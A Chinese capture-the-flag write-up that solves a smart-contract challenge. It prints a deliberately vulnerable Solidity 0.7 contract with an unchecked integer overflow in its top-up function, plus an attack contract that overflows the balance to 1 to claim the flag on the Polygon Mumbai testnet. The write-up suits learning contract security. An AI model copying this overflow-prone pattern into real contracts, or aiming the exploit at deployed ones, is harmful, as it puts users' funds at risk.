年终奖
1.题目
坏消息:公司只给你发了一张超市的会员卡作为年终奖
好消息:余额有114514元
坏消息:只能用来购买一块钱的糖,一次只能买一个
好消息:余额只剩1元时可以获得名为flag的神秘大奖
兑奖地址:nc xx.xx.xx.xx xxxx
智能合约部署网络为Polygon Mumbai
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract VipCard {
mapping(address => uint) public balances;
function applyCard() public {
balances[msg.sender] = 114514;
}
function topUp(uint _amount) public {
balances[msg.sender] += _amount;
}
function buyCandy() public {
require(balances[msg.sender] > 0, "not sufficient funds");
balances[msg.sender] -= 1;
}
}
2.思路
solidity版本>0.7.0,考虑整数溢出漏洞
编写智能合约调用topUp进行余额充值,充值数量为uint类型最大值加2减去当前余额,即可将余额溢出为1
由于题目部署在Polygon Mumbai,则需要用metamask钱包创建账户并添加Polygon Mumbai网络,去网络寻找Faucet获得测试币,并用Remix在线IDE连接钱包部署攻击用的智能合约,攻击完成后将合约地址输入到nc xx.xx.xx.xx xxxx即可获得flag
3.解题脚本
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "vipCard.sol";
contract Attack {
VipCard vipcard;
constructor(VipCard _vipcard){
vipcard = VipCard(_vipcard);
}
function attack() public {
vipcard.applyCard();
vipcard.topUp(type(uint).max + 2 - 114514);
}
}